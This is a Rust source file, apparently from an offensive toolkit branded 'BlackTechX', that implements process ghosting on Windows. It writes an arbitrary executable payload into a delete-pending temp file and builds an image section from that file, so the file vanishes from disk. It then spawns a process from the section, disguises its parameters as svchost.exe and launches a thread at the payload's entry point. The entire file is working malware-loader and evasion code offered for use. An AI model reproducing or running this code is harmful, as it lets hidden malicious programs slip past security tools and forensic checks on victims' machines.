1#![allow(non_snake_case)]
5
6use crate::ntapi::*;
7use std::ptr;
8use std::ffi::c_void;
9use winapi::um::fileapi::{WriteFile, GetTempPathW, GetTempFileNameW};
10use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
11use winapi::um::memoryapi::WriteProcessMemory;
12use winapi::um::processthreadsapi::GetCurrentProcess;
13use winapi::um::winnt::{
14 GENERIC_READ, GENERIC_WRITE, DELETE, SYNCHRONIZE,
15 SECTION_ALL_ACCESS, PAGE_READONLY, SEC_IMAGE,
16 PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
17 THREAD_ALL_ACCESS, FILE_SHARE_READ, FILE_SHARE_WRITE,
18};
19use winapi::shared::minwindef::{DWORD, MAX_PATH, LPVOID};
20use winapi::shared::ntdef::{HANDLE, PVOID, ULONG};
21use winapi::shared::basetsd::SIZE_T;
22
23#[derive(Clone, Copy, Debug, PartialEq)]
25pub enum Architecture {
26 X86,
27 X64,
28}
29
30impl std::fmt::Display for Architecture {
31 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
32 match self {
33 Architecture::X86 => write!(f, "x86"),
34 Architecture::X64 => write!(f, "x64"),
35 }
36 }
37}
38
39#[derive(Clone)]
41pub struct GhostingConfig {
42 pub payload: Vec<u8>,
43 pub architecture: Architecture,
44 pub verbose: bool,
45}
46
47impl GhostingConfig {
48 pub fn new(payload: Vec<u8>, architecture: Architecture) -> Self {
50 Self {
51 payload,
52 architecture,
53 verbose: true,
54 }
55 }
56
57 pub fn x64(payload: Vec<u8>) -> Self {
59 Self::new(payload, Architecture::X64)
60 }
61
62 pub fn x86(payload: Vec<u8>) -> Self {
64 Self::new(payload, Architecture::X86)
65 }
66}
67
68macro_rules! btx_print {
70 ($verbose:expr, $($arg:tt)*) => {
71 if $verbose {
72 println!($($arg)*);
73 }
74 };
75}
76
77fn to_wide_string(s: &str) -> Vec<u16> {
79 use std::os::windows::ffi::OsStrExt;
80 std::ffi::OsStr::new(s)
81 .encode_wide()
82 .chain(std::iter::once(0))
83 .collect()
84}
85
86unsafe fn create_section_from_pending_deletion(
88 file_path: &[u16],
89 data_buffer: &[u8],
90 verbose: bool,
91) -> Result<HANDLE, String> {
92 let fn_nt_open_file: FnNtOpenFile = get_ntdll_function("NtOpenFile")?;
94 let fn_rtl_init_unicode_string: FnRtlInitUnicodeString = get_ntdll_function("RtlInitUnicodeString")?;
95 let fn_nt_set_information_file: FnNtSetInformationFile = get_ntdll_function("NtSetInformationFile")?;
96 let fn_nt_create_section: FnNtCreateSection = get_ntdll_function("NtCreateSection")?;
97
98 let mut file_handle: HANDLE = ptr::null_mut();
99 let mut section_handle: HANDLE = ptr::null_mut();
100 let mut unicode_file_path = UNICODE_STRING::default();
101 let mut io_status_block = IO_STATUS_BLOCK::default();
102
103 fn_rtl_init_unicode_string(&mut unicode_file_path, file_path.as_ptr());
105
106 let mut object_attributes = OBJECT_ATTRIBUTES::new(&mut unicode_file_path, OBJ_CASE_INSENSITIVE);
108
109 btx_print!(verbose, "[+] Attempting to open the file...");
110
111 let status = fn_nt_open_file(
113 &mut file_handle,
114 GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
115 &mut object_attributes,
116 &mut io_status_block,
117 FILE_SHARE_READ | FILE_SHARE_WRITE,
118 FILE_SUPERSEDED | FILE_SYNCHRONOUS_IO_NONALERT,
119 );
120
121 if !nt_success(status) {
122 return Err(format!("[-] Failed to open the file. NTSTATUS: 0x{:08X}", status));
123 }
124
125 btx_print!(verbose, "[+] Setting file to delete-pending state...");
126
127 let mut file_disposition = FILE_DISPOSITION_INFORMATION { DeleteFile: 1 };
129
130 let status = fn_nt_set_information_file(
131 file_handle,
132 &mut io_status_block,
133 &mut file_disposition as *mut _ as PVOID,
134 std::mem::size_of::<FILE_DISPOSITION_INFORMATION>() as ULONG,
135 FILE_INFORMATION_CLASS::FileDispositionInformation,
136 );
137
138 if !nt_success(status) {
139 CloseHandle(file_handle);
140 return Err(format!("[-] Failed to set file to delete-pending state. NTSTATUS: 0x{:08X}", status));
141 }
142
143 btx_print!(verbose, "[+] Writing data to delete-pending file...");
144
145 let mut bytes_written: DWORD = 0;
147 let write_result = WriteFile(
148 file_handle,
149 data_buffer.as_ptr() as *const c_void,
150 data_buffer.len() as DWORD,
151 &mut bytes_written,
152 ptr::null_mut(),
153 );
154
155 if write_result == 0 {
156 CloseHandle(file_handle);
157 return Err("[-] Failed to write data to the file".to_string());
158 }
159
160 btx_print!(verbose, "[+] Creating section from delete-pending file...");
161
162 let status = fn_nt_create_section(
164 &mut section_handle,
165 SECTION_ALL_ACCESS,
166 ptr::null_mut(),
167 ptr::null_mut(),
168 PAGE_READONLY,
169 SEC_IMAGE,
170 file_handle,
171 );
172
173 if !nt_success(status) {
174 CloseHandle(file_handle);
175 return Err(format!("[-] Failed to create section from delete-pending file. NTSTATUS: 0x{:08X}", status));
176 }
177
178 btx_print!(verbose, "[+] Section successfully created from delete-pending file.");
179
180 CloseHandle(file_handle);
182 btx_print!(verbose, "[+] File successfully deleted from disk...");
183
184 Ok(section_handle)
185}
186
187unsafe fn launch_process_from_section(section_handle: HANDLE, verbose: bool) -> Result<HANDLE, String> {
189 let fn_nt_create_process_ex: FnNtCreateProcessEx = get_ntdll_function("NtCreateProcessEx")?;
190
191 let mut process_handle: HANDLE = INVALID_HANDLE_VALUE;
192
193 btx_print!(verbose, "[+] Creating process from section...");
194
195 let status = fn_nt_create_process_ex(
197 &mut process_handle,
198 PROCESS_ALL_ACCESS,
199 ptr::null_mut(),
200 GetCurrentProcess(),
201 PS_INHERIT_HANDLES,
202 section_handle,
203 ptr::null_mut(),
204 ptr::null_mut(),
205 0,
206 );
207
208 if !nt_success(status) {
209 return Err(format!("[-] Failed to create the process. NTSTATUS: 0x{:08X}", status));
210 }
211
212 Ok(process_handle)
213}
214
215unsafe fn retrieve_entry_point(
217 process_handle: HANDLE,
218 payload_buffer: &[u8],
219 process_info: &PROCESS_BASIC_INFORMATION,
220 verbose: bool,
221) -> Result<usize, String> {
222 let fn_rtl_image_nt_header: FnRtlImageNtHeader = get_ntdll_function("RtlImageNtHeader")?;
223 let fn_nt_read_virtual_memory: FnNtReadVirtualMemory = get_ntdll_function("NtReadVirtualMemory")?;
224
225 let mut image_buffer = [0u8; 0x1000];
226 let mut bytes_read: SIZE_T = 0;
227
228 let status = fn_nt_read_virtual_memory(
229 process_handle,
230 process_info.PebBaseAddress as PVOID,
231 image_buffer.as_mut_ptr() as PVOID,
232 image_buffer.len(),
233 &mut bytes_read,
234 );
235
236 if !nt_success(status) {
237 return Err(format!("[-] Failed to read remote process PEB base address. NTSTATUS: 0x{:08X}", status));
238 }
239
240 let peb = &*(image_buffer.as_ptr() as *const PEB);
241 let image_base = peb.ImageBaseAddress as usize;
242
243 btx_print!(verbose, "[+] PEB Base Address of the target process: 0x{:016X}", image_base);
244
245 let nt_headers = fn_rtl_image_nt_header(payload_buffer.as_ptr() as PVOID);
247 if nt_headers.is_null() {
248 return Err("[-] Failed to get NT headers from payload".to_string());
249 }
250
251 let entry_point_rva = (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize;
252 let entry_point_address = entry_point_rva + image_base;
253
254 btx_print!(verbose, "[+] Calculated EntryPoint of the payload buffer: 0x{:016X}", entry_point_address);
255
256 Ok(entry_point_address)
257}
258
259pub fn execute_ghost_process(config: GhostingConfig) -> Result<(), String> {
261 unsafe {
262 let verbose = config.verbose;
263
264 btx_print!(verbose, "[*] BlackTechX ProcessGhosting - Starting...");
265 btx_print!(verbose, "[*] Target Architecture: {}", config.architecture);
266 btx_print!(verbose, "[*] Payload Size: {} bytes", config.payload.len());
267
268 if config.payload.len() < 2 || config.payload[0] != 0x4D || config.payload[1] != 0x5A {
270 return Err("[-] Invalid payload: Missing MZ header".to_string());
271 }
272
273 let fn_query_process_info: FnNtQueryInformationProcess =
275 get_ntdll_function("NtQueryInformationProcess")?;
276 let fn_init_unicode_str: FnRtlInitUnicodeString =
277 get_ntdll_function("RtlInitUnicodeString")?;
278 let fn_create_remote_thread: FnNtCreateThreadEx =
279 get_ntdll_function("NtCreateThreadEx")?;
280 let fn_write_memory: FnNtWriteVirtualMemory =
281 get_ntdll_function("NtWriteVirtualMemory")?;
282 let fn_alloc_memory: FnNtAllocateVirtualMemory =
283 get_ntdll_function("NtAllocateVirtualMemory")?;
284 let fn_create_proc_params: FnRtlCreateProcessParametersEx =
285 get_ntdll_function("RtlCreateProcessParametersEx")?;
286
287 let mut temp_dir = [0u16; MAX_PATH];
289 let mut temp_file = [0u16; MAX_PATH];
290
291 GetTempPathW(MAX_PATH as u32, temp_dir.as_mut_ptr());
292
293 let btx_prefix: [u16; 4] = ['B' as u16, 'T' as u16, 'X' as u16, 0];
295 GetTempFileNameW(
296 temp_dir.as_ptr(),
297 btx_prefix.as_ptr(),
298 0,
299 temp_file.as_mut_ptr(),
300 );
301
302 let temp_file_str: String = String::from_utf16_lossy(
304 &temp_file[..temp_file.iter().position(|&c| c == 0).unwrap_or(temp_file.len())]
305 );
306 let full_path = format!("\\??\\{}", temp_file_str);
307 let nt_path_wide = to_wide_string(&full_path);
308
309 btx_print!(verbose, "[+] Temp file path: {}", temp_file_str);
310
311 let section_handle = create_section_from_pending_deletion(
313 &nt_path_wide,
314 &config.payload,
315 verbose,
316 )?;
317
318 if section_handle == INVALID_HANDLE_VALUE || section_handle.is_null() {
319 return Err("[-] Failed to create memory section".to_string());
320 }
321
322 let target_process = launch_process_from_section(section_handle, verbose)?;
324
325 if target_process == INVALID_HANDLE_VALUE || target_process.is_null() {
326 return Err("[-] Failed to create ghosted process".to_string());
327 }
328
329 btx_print!(verbose, "[+] Ghosted process created successfully.");
330
331 let mut proc_basic_info = PROCESS_BASIC_INFORMATION::default();
333 let mut proc_info_length: ULONG = 0;
334
335 let status = fn_query_process_info(
336 target_process,
337 PROCESSINFOCLASS::ProcessBasicInformation,
338 &mut proc_basic_info as *mut _ as PVOID,
339 std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as ULONG,
340 &mut proc_info_length,
341 );
342
343 if !nt_success(status) {
344 return Err(format!("[-] Failed to retrieve process information. NTSTATUS: 0x{:08X}", status));
345 }
346
347 let ep_address = retrieve_entry_point(
349 target_process,
350 &config.payload,
351 &proc_basic_info,
352 verbose,
353 )?;
354
355 let target_path = to_wide_string("C:\\Windows\\System32\\svchost.exe");
357 let mut unicode_target_file = UNICODE_STRING::default();
358 fn_init_unicode_str(&mut unicode_target_file, target_path.as_ptr());
359
360 let dll_dir = to_wide_string("C:\\Windows\\System32");
361 let mut unicode_dll_path = UNICODE_STRING::default();
362 fn_init_unicode_str(&mut unicode_dll_path, dll_dir.as_ptr());
363
364 let mut proc_params: *mut RTL_USER_PROCESS_PARAMETERS = ptr::null_mut();
365
366 let status = fn_create_proc_params(
367 &mut proc_params,
368 &mut unicode_target_file,
369 &mut unicode_dll_path,
370 ptr::null_mut(),
371 &mut unicode_target_file,
372 ptr::null_mut(),
373 ptr::null_mut(),
374 ptr::null_mut(),
375 ptr::null_mut(),
376 ptr::null_mut(),
377 RTL_USER_PROC_PARAMS_NORMALIZED,
378 );
379
380 if !nt_success(status) || proc_params.is_null() {
381 return Err(format!("[-] Failed to create process parameters. NTSTATUS: 0x{:08X}", status));
382 }
383
384 let mut param_buffer: PVOID = proc_params as PVOID;
386 let mut param_size: SIZE_T = ((*proc_params).EnvironmentSize + (*proc_params).MaximumLength as usize) as SIZE_T;
387
388 let status = fn_alloc_memory(
389 target_process,
390 &mut param_buffer,
391 0,
392 &mut param_size,
393 MEM_COMMIT | MEM_RESERVE,
394 PAGE_READWRITE,
395 );
396
397 if !nt_success(status) {
398 return Err(format!("[-] Failed to allocate memory for process parameters. NTSTATUS: 0x{:08X}", status));
399 }
400
401 btx_print!(verbose, "[+] Allocated memory for process parameters at {:p}.", param_buffer);
402
403 let write_size = (*proc_params).EnvironmentSize + (*proc_params).MaximumLength as usize;
405 let _status = fn_write_memory(
406 target_process,
407 proc_params as PVOID,
408 proc_params as PVOID,
409 write_size,
410 ptr::null_mut(),
411 );
412
413 let remote_peb = proc_basic_info.PebBaseAddress;
415
416 let proc_params_ptr = proc_params as PVOID;
418 let peb_params_offset = &(*remote_peb).ProcessParameters as *const _ as *mut c_void;
419
420 let write_result = WriteProcessMemory(
421 target_process,
422 peb_params_offset,
423 &proc_params_ptr as *const _ as *const c_void,
424 std::mem::size_of::<PVOID>(),
425 ptr::null_mut(),
426 );
427
428 if write_result == 0 {
429 return Err("[-] Failed to update process parameters in the target PEB".to_string());
430 }
431
432 btx_print!(verbose, "[+] Updated process parameters address in the remote PEB.");
433
434 let mut remote_thread: HANDLE = ptr::null_mut();
436
437 let status = fn_create_remote_thread(
438 &mut remote_thread,
439 THREAD_ALL_ACCESS,
440 ptr::null_mut(),
441 target_process,
442 ep_address as LPVOID,
443 ptr::null_mut(),
444 0,
445 0,
446 0,
447 0,
448 ptr::null_mut(),
449 );
450
451 if !nt_success(status) {
452 return Err(format!("[-] Failed to create remote thread. NTSTATUS: 0x{:08X}", status));
453 }
454
455 btx_print!(verbose, "[+] Remote thread created and executed.");
456 btx_print!(verbose, "[+] BlackTechX ProcessGhosting completed successfully!");
457
458 Ok(())
459 }
460}